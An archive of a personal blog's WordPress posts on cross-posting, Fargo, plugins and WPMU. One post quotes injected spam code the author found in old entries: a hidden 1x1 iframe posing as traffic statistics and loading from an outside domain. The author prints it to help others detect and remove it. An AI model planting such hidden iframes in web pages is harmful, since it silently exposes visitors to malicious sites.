Tag: wordpress

  • Testing cross-posting to Mastodon and Bluesky

    here’s a picture of the beach in Santa Monica. I am not including a “featured image” for this post, however, because I am curious how this renders on both platforms.

    For Bluesky, i am using the Autoblue plugin, and have used the following text in the “optional message for Bluesky” field: Trying a little cross-platform experiment!

    For Masto, I am using the built-in support in WordPress for Fediverse integration.

    I will include screenshots of how this renders on each in this post as an update.

  • Blog to BlueSky and back

    Blog to BlueSky and back

    Follow me on Bluesky at @azizforamerica, and subscribe to my substack at azizforamerica.com!

    I joined Bluesky in July 2023 (User #379,669) but wasn’t active until after Trump got re-elected. I have been having a great time, and thinking a lot about the role I want my social media accounts to play. I still identify as a blogger first and foremost, which is why I was highly interested in this comment by Dave Winer:

    Bluesky could be a little feed reader. River of news style.scripting.com/stories/2009…

    Dave Winer (@scripting.com) 2024-12-30T08:35:00.148Z

    Two aspects of BlueSky set it apart from other social media clients: a true chronological feed and an open firehose (though, I still maintain that the firehose need not be cleartext, which is a separate topic). These aspects give BlueSky a foundation to make a capable newsreader. What made the old-school RSS newsreaders so great was being able to read the link in-line, without leaving the app. Of course, that was anathema to the ad-driven revenue model of most news sites.

    Imagine what a Bsky-driven newsreader interface could look like – a simple flow would be,

    • receive URL from user
    • identify the corresponding RSS feed
    • if found, render the RSS entry as an in-line preview

    The above would require new code to identify the corresponding to the feed, which is easy in WordPress. Most news organizations support too, though of course the reader would need a subscription to be able to view the whole excerpt. Also, code would be needed to render the text of the RSS feed as an embed, akin to the reviewers for other bluesky links, images, and video.

    Thinking beyond newsreading, though, what about blogging? What if we reversed the polarity? Manton Reece has built an amazing cross-blog tool at Micro.blog that sends data TO social media platforms like Bsky, ActivityPub, and WordPress. What if Bsky could do the same?

    Imagine using a rich editor interface within Bsky to draft a blog post and publish it. Bsky could generate the post via API, submit it to the blog, and return the embed code all in one step. Longer posts could concatenate a Bsky thread starting from the first post and including any replies from the post author, and even add automatic formatting and cleanup like expanding acronyms or shorthand, removing hashtags, replacing mentions with links to the profile, etc.

    This process might be best using an API, but using RSS opens the door to a world where you draft content anywhere and post it to your blog.

    Note that there are already WordPress plugins that let you post via RSS. Here’s a free example:

    Going meta for a moment, there’s a powerful motivation for making it possible to draft once, publish anywhere. There’s a blogger version of the OODA loop:

    1. Observe content on social media;
    2. formulate your own Opinion;
    3. Draft a blog post in reply; and
    4. Add the post to the same social media platform (SMP).

    By bringing the Draft stage into the same SMP, there’s less friction for writing content & analysis. That created content isn’t just siloed on the SMP, but is also preserved at your own blog.

    Today, you have to open a new window to your blog, login, draft the post separately, copy and paste excerpts, manually link to the new post from the SMP, etc. There’s a lot of inefficiency and back-and-forth that sometimes delays or even obstructs the creative process of blogging, especially reactive and analytical blogging.

    Bringing the Draft stage of the Blogger’s OODA loop inline to the SMP would make blogging faster, more intuitive, and result in more blog posts overall, which might even help us poor humans stay ahead of the vast volume of AI-generated slop out there.

  • Testing #ActivityPub plugin for #WordPress

    Testing #ActivityPub plugin for #WordPress

    This is a test post from my blog at http://haibane.info of the plugin for . If you see this, please follow – and follow me at @azizhp

    also testing media. Here’s a view of the skyline from the #290.

    Chicago from the 290

    And I am setting a different photo of a blurry Chicago skyline from my on for the Featured Image, to see which one shows up in .

    UPDATE: It worked!

    follow this blog from anywhere in teh Fediverse as @otakun@Haibane.info (note – this link will not work. it’s a rel=me link so the blog is verified on Mastodon)
  • Using Fargo for publishing to WordPress: a great start, some rough edges

    I decided to use Fargo.io to write the previous post, since it was a long and complex piece with a lot of hierarchical structure. Lots of lists, etc. Let me preface by saying this is wonderful functionality and I am very excited about it, not least because it provides inherent backup of blog posts to dropbox.

    That said, there are various issues that need refining. Here are some of my observations:

    Fargo only selects the current heading and subheadings for the post. It will use the current heading as title and subheadings as the post content. This is not optimal; by default, Fargo should use the title of the entire outline as the post title and the entire outline body as the post body. I had to create a redundant heading and demote the entire rest of the outline underneath it to get it to work properly.

    Headings and subheadings correctly use LI tags, but they force the CSS attribute “list-style-type” to “none”. In a blog post, you want the natural LI icons to appear and not be suppressed.

    When exporting from Fargo to WordPress, adding paragraph tags is redundant, as WordPress renders the post content with them automatically. P tags should be stripped out when publishing to WP.

    Likewise, there is no need for any additional class names (liConcord, pConcord, liLevel3, etc). All style is handled by WordPress themes and this CSS clutters the post content. We should not have any default styles added by the composer – clean HTML only, no CSS.

    Numbered lists are not recognized by Fargo – I used a 1. 2. prefix but this does not create OL list type at the HTML end. Auto-detection of numbered lists is a must-have feature.

    Entering new headings above the current one should be possible by placing the cursor at the start of a heading and pressing Enter. Currently, this opens a new heading below, not above.

    Images are not supported. In fact if you add an image via the wordpress interface and then later edit the post again with Fargo, you will lose your images (it will overwrite the edits.)

    Finally, it is not possible to copy and paste multiple headings and subheading content from the outliner. You can only select one heading at a time. There should be a plaintext export feature at the very least (with whitespace tabs for the indentation levels).

    I don’t want to discourage Dave and the fine folks at Small Picture or seem overly picky. These are however important issues that affect a wordpress blogger’s workflow – I loved composing the post in Fargo but now I will have to re-edit the post after I publish to add images, strip out the CSS, etc. Due to that drawback, there isn’t a net value-add to using Fargo for WP blogging, yet. But there is so much potential here that I am very hopeful.

    UPDATE: Dave responded to this post on Twitter:

    I am uncertain if Dave understood my critique – I was not asking for changes to Fargo’s user interface, but rather the formatting that is generated when exporting from Fargo to wordpress. I am happy to embrace the Outliner Way when composing, but Fargo imposes metadata on WordPress above and beyond outline structure. That metadata is not central to the user experience of Fargo si Iam baffled by Dave’s insistence that there’s no reason for change.

    At any rate, I will certainly keep using Fargo for other purposes, but if the wordpress functionality is frozen at the current state then I cannot recommend Fargo as a WordPress authoring tool. I am still optimistic for Dave’s promise of Evernote support.

  • quick check your wordpress archives for this hack

    if you have archives on your wordpress blog spanning several years, you might have some posts infected with an “html injection” hack. Here’s how to quickly identify such posts in your archive and remove the hack.

  • annoying html injection in wordpress

    two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:

    <!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

    I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.

    To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.

    WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.

  • Tags to Hashtags #wp

    I’ve written a new plugin for wordpress entitled “AHP Tags to Hashtags” for use with WordPress and WordPress MU. The plugin can be found for now at pastebin here, I will update when it’s been added to the official wordpress plugin repository.

    The plugin appends the tags for each post to the post title in the RSS feed. For example, for a post titled “Awesome post” which is tagged with “Amazing, Awesome, Super awesome”, the RSS feed will show the post titles as “Awesome post #Amazing #Awesome #Superawesome”. Note that spaces in a tag are removed, and hash symbols (#) are prepended to each.

    This plugin is useful primarily to bloggers who pipe their posts into Twitter. The post tags become Twitter hashtags. Since post tags and twitter hashtags are both a form of metadata, it is natural to simply and automatically reuse the one for the other.

    Consider a blog post on the Iran election. Normally youd tag the post Iran and then when you tweet it, youd have to manually insert the twitter hashtag #iranelection. Now, you can simply tag the post iranelection (no # symbol) and it will automatically be hashtagged. Combined with a service like Twitterfeed, this plugin can greatly automate the process of piping relevant posts into the twitterverse.

    Note that the plugin makes no attempt to check that the total length of the post title, including hashtags, falls within the 140-character limit imposed by Twitter.

    At present the plugin has no options. The feature roadmap includes the following:
    – add title character length checking
    – toggle using tags or categories for conversion to hashtags
    – let user decide whether to remove spaces in tags, or convert to underlines or other character

    this is a pretty simple plugin so other feature requests are appreciated.

    UPDATE: version 2.0 of the plugin is at pastebin here. This version no longer appends all tags, but only those already beginning with #. This way the blogger can selectively choose which tags they want converted into hashtags.

  • monetizing WPMU

    There’s a great conversation at WPMU.org about how to make money using WordPress MU – James starts by noting that advertising doesn’t cover the hosting costs for a massively successful site, and goes into the various other ways in which they derive revenue, including selling extra features to paid users and selling custom plugins (that are not released under the GPL). In response, Jason acknowledges that WPMU is inherently costly to run and agrees that there must be a revenue tsream, and then goes on to argue that WPMU is really a service, not a product. Therefore to make money with WPMU, he reasons, you must provide a value-added service relative to the big free hosts like wordpress.com – such as custom themes. James replies with a lengthy argument defending the decision not to release plugins under the GPL.

    I don’t have much to add aside from noting that since themes have long been released without GPL, there’s no reason that plugins should be any different, especially with themes like Thesis which are “frameworks” that really blur the line between a theme and a plugin. The same can be argued for Prologue, which I use as the front end to my WPMU install at Talk Islam. The “core functions” of WP are never used in themes or plugins, so I don’t think that argument applies (think about it – why would you want to duplicate core WP functionality? why would you even need to?)

    Of course, part of the problem for monetization is that you are a victim of your own succcess. James’ monthly costs for the Edublogs network are assuredly far greater than mine for Talk Islam – I can only aspire to a fraction of his success (especially since I am not running Talk Islam as a business. not yet anyway). As such Talk Islam has only a handful of user blogs – most of the activity is on the front page (where the Prologue theme gives it a dynamic, Twitter-esque feel). My goal for Talk Islam is to incorporate the Buddypress functions and ultimately create a framework for a “community platform” that would be in a sense the successor to the Daily Kos style blog community, replicating many of the features but discarding things that are broken in my opinion (such as the way the recommended diaries list is dominated by a clique of the same voices and the same topics, with very rare original and fresh perspectives). It should be noted that Shai Sachs, a very talented Drupal hacker, is working on a drupal-based blog infrastructure project for the progressive political blogsphere, but I personally believe that wordpress MU is a better platform. With Talk Islam as a prototype, we can envision a package that already includes the buddypress integration and standard theme for frontpage and user blogs that an aspiring admin could simply download and have ready to go out of the box.

    The real question for monetization is the scale. How many WPMU installs are on the scale of Edublogs? Very few, I wager – but there are probably thousands like mine where the entire install can be run off a standard Dreamhost account. At that scale, Adsense ads can indeed cover hosting costs and even a modest profit on the side – not enough to pay rent, but maybe enough for cable television. Or a Starbucks addiction.

    I think therefore a model for monetization presents itself. Instead of trying to monetize a single WPMU install, you monetize a packaged installation that you distribute. That installation can have Adsense code sharing so that half the revenue from ads goes to the package developer (or all if the installer doesn’t have an adsense account, there would be a box for them to paste their adsense publisher ID if they have one). For any given WPMU install the revenue will be quite modest, probably on the order of a few dollars a month. But suppose that the package was installed a hundred times? a thousand? Especially since it isn’t you who are paying the hosting fees, its the person installing the package.

    Of course this means we have only punted the monetization issue downstream. But for a small WPMU site operator, recouping hosting costs is a lot easier than for a big operation like Edublogs. Users can be asked for donations, charged fees for extra features, etc just as James and Jason described in their posts. These revenue sources will be much more lucrative at the smaller scale.

    As a business model, none of the above really helps James out, unfortunately 🙂 But then again, what if individual schools ran their own WPMU microsites using Edublogs software? (actually, they do.) In a sense the strategy above can be leveraged regardless of your size. All things considered, I’d rather be in James’ position of being too big 🙂

  • Please vote for my plugin

    My plugin, AHP Sitewide Recent Posts, is an entrant in the WPMU.org plugin competition. I would greatly appreciate your support! Please cast your vote here and vote for “Yet Another Posts Plugin“. Thank you!

  • AHP Sitewide Recent Posts plugin for WordPress MU

    UPDATE: Due to seeming failure of compatibility with the latest versions of WPMU, WPMU Dev has replaced my plugin at their site with their own Recent Posts plugin, which requires their Post Indexer. There’s only an old version at WPMU.org of my plugin now. I am going to rewrite this plugin shortly.

    Related: search on AHP at premium WPMU

    Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are:

    • excludes posts on main blog (blog ID = 1)
    • excludes first posts (Hello, world) on user blogs (post ID = 1)
    • option to show gravatar support (24px). Gravatar links to posts by user on their blog.
    • option to show post excerpt. User can specify excerpt length with extra argument. Option to capitalize 1st five words of excerpt for readability.
    • option to show post author name
    • option to show post date
    • option to show post comment count
    • all dispay options can be selectively toggled on or off using a single bitmask parameter, permitting very flexible and customizable usage (256 possible configurations!)
    • numerous other display and formatting options can be easily edited in source code using global vars

    The argument list:

    • $how_many: how many recent posts are being displayed
    • $how_long: time frame to choose recent posts from (in days)
    • $optmask: bitmask for various display options (default: 255)
      • 1; // gravatar
      • 2; // date
      • 4; // author name
      • 8; // comment count
      • 16; // blog name
      • 32; // post name
      • 64; // post excerpt
      • 128; // excerpt capitalization
    • $exc_size: size of excerpt in words (default: 30)
    • $begin_wrap: start html code (default: <li class=”ahp_recent-posts”>)
    • $end_wrap: end html code to adapt to different themes (default: </li>)

    To use the bitmask option, simply add the numeric codes for the display options you want together. For example, suppose you only want gravatar, post name, and date – then the bitmask would be 1+2+32 = 35. Using a bitmask in this way, you can turn on or off any combination of display options above, using only a single function argument.

    The latest version of this plugin is at WPMUDEV with a more complete description, installation instructions, screenshot, and sample function call. You can see also see the plugin in action at Talk Islam, under the sidebar section titled “Recent Journals”.

    (see update)

    screenshot of AHP Recent Posts plugin for WPMU
    screenshot of AHP Recent Posts plugin for WPMU